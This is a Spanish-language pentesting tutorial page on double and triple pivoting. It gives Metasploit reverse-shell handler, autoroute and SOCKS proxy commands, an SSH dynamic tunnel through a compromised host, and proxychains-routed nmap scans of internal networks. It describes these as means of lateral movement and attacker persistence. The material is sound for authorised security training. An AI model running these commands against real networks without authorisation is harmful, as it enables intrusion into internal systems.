> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cppj/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cppj/pivoting-for-juniors/doble-pivoting-y-triple-pivoting.md).

# Doble Pivoting y Triple Pivoting

## <mark style="color:green;">**Doble Pivoting**</mark><mark style="color:green;">:</mark>&#x20;

Utilizar una máquina comprometida para pivotar a una segunda máquina, y luego usar la segunda máquina para pivotar a una tercera.

## <mark style="color:green;">**Triple Pivoting**</mark><mark style="color:green;">:</mark>&#x20;

Extender el concepto de doble pivoting para incluir una tercera capa de pivote, lo que permite acceder a una red o sistema adicional a través de múltiples máquinas comprometidas.

## <mark style="color:green;">**Importancia del Pivoting**</mark>

1. <mark style="color:green;">**Acceso a Redes Segregadas**</mark><mark style="color:green;">:</mark> Permite acceder a redes internas que están segregadas del punto de entrada inicial, lo cual es común en entornos empresariales.
2. <mark style="color:green;">**Movimiento Lateral**</mark><mark style="color:green;">:</mark> Facilita el movimiento lateral dentro de la red, permitiendo comprometer otros sistemas y servicios.
3. <mark style="color:green;">**Persistencia**</mark><mark style="color:green;">:</mark> Ayuda a establecer persistencia en la red, permitiendo al atacante mantener el acceso incluso si se detecta y remedia el punto de entrada inicial.

## <mark style="color:green;">**Configuración de Pivoting en Windows y Linux**</mark>

La configuración de pivoting puede variar dependiendo del sistema operativo de la máquina comprometida. A continuación se detallan los aspectos teóricos y comandos útiles para configurar pivoting en Windows y Linux.

### <mark style="color:green;">**Pivoting en Windows**</mark>

En Windows, el pivoting a menudo se realiza utilizando herramientas como Metasploit, Netcat, y PowerShell. La configuración de pivotes en Windows se puede dividir en varias etapas:

### <mark style="color:green;">**1. Establecer una Sesión Meterpreter**</mark>

* <mark style="color:green;">**Teoría**</mark><mark style="color:green;">:</mark> Meterpreter es un payload avanzado que se utiliza dentro del framework Metasploit para ejecutar comandos en la máquina objetivo.
* **Comandos**:

  ```shell
  use exploit/multi/handler
  set payload windows/meterpreter/reverse_tcp
  set LHOST <your_IP>
  set LPORT <your_port>
  exploit
  ```

### <mark style="color:green;">**2. Configurar un Route**</mark>

* <mark style="color:green;">**Teoría**</mark><mark style="color:green;">:</mark> La función autoroute de Meterpreter permite agregar rutas a la tabla de enrutamiento, lo que facilita el redireccionamiento del tráfico a través de la máquina comprometida.
* **Comandos**:

  ```shell
  meterpreter > run autoroute -s <internal_network>/24
  ```

### <mark style="color:green;">**3. Usar Socks Proxy**</mark>

* <mark style="color:green;">**Teoría**</mark><mark style="color:green;">:</mark> Configurar un proxy SOCKS en Metasploit permite enrutar el tráfico de herramientas de red a través de la máquina comprometida.
* **Comandos**:

  ```shell
  use auxiliary/server/socks4a
  set SRVHOST 0.0.0.0
  set SRVPORT 1080
  run
  ```

### <mark style="color:green;">**4. Configurar ProxyChains**</mark>

* **Teoría**: ProxyChains se utiliza en la máquina atacante para redirigir el tráfico de herramientas de red a través del proxy SOCKS configurado en Metasploit.
* **Comandos**:

  ```shell
  echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
  proxychains nmap -sT -Pn -n -p 80,443 <target_internal_IP>
  ```

### <mark style="color:green;">**Pivoting en Linux**</mark>

En Linux, el pivoting se puede realizar utilizando herramientas como SSH, Netcat, y Metasploit. La configuración de pivotes en Linux también se puede dividir en varias etapas:

### <mark style="color:green;">**1. Establecer un Túnel SSH**</mark>

* **Teoría**: Un túnel SSH se utiliza para redirigir el tráfico a través de una conexión SSH segura.
* **Comandos**:

  ```shell
  ssh -D 1080 -q -C -N user@compromised_host
  ```

### <mark style="color:green;">**2. Usar ProxyChains**</mark>

* **Teoría**: ProxyChains se utiliza en la máquina atacante para redirigir el tráfico de herramientas de red a través del túnel SSH.
* **Comandos**:

  ```shell
  echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
  proxychains nmap -sT -Pn -n -p 80,443 <target_internal_IP>
  ```

### <mark style="color:green;">**3. Configuración de Metasploit**</mark>

* **Teoría**: Meterpreter y autoroute en Metasploit permiten enrutar el tráfico a través de la máquina comprometida.
* **Comandos**:

  ```shell
  use exploit/multi/handler
  set payload linux/x86/meterpreter/reverse_tcp
  set LHOST <your_IP>
  set LPORT <your_port>
  exploit

  meterpreter > run autoroute -s <internal_network>/24

  use auxiliary/server/socks4a
  set SRVHOST 0.0.0.0
  set SRVPORT 1080
  run

  echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
  proxychains nmap -sT -Pn -n -p 80,443 <target_internal_IP>
  ```

## <mark style="color:green;">**Comandos Útiles en Cada Sistema Operativo**</mark>

### <mark style="color:green;">**Windows**</mark>

* <mark style="color:green;">**netstat**</mark><mark style="color:green;">:</mark> Ver las conexiones de red.

  ```shell
  netstat -an
  ```
* <mark style="color:green;">**route**</mark><mark style="color:green;">:</mark> Ver la tabla de enrutamiento.

  ```shell
  route print
  ```
* <mark style="color:green;">**ipconfig**</mark><mark style="color:green;">:</mark> Ver la configuración de la red.

  ```shell
  ipconfig /all
  ```

### <mark style="color:green;">**Linux**</mark>

* <mark style="color:green;">**ifconfig/ip**</mark><mark style="color:green;">:</mark> Ver y configurar la interfaz de red.

  ```shell
  ifconfig
  ip addr show
  ```
* <mark style="color:green;">**netstat/ss**</mark><mark style="color:green;">:</mark> Ver las conexiones de red.

  ```shell
  netstat -tulnp
  ```
* <mark style="color:green;">**route/ip route**</mark><mark style="color:green;">:</mark> Ver la tabla de enrutamiento.

  ```shell
  route -n
  ip route show
  ```
* <mark style="color:green;">**iptables**</mark><mark style="color:green;">:</mark> Configurar reglas de firewall.

  ```shell
  iptables -L
  ```
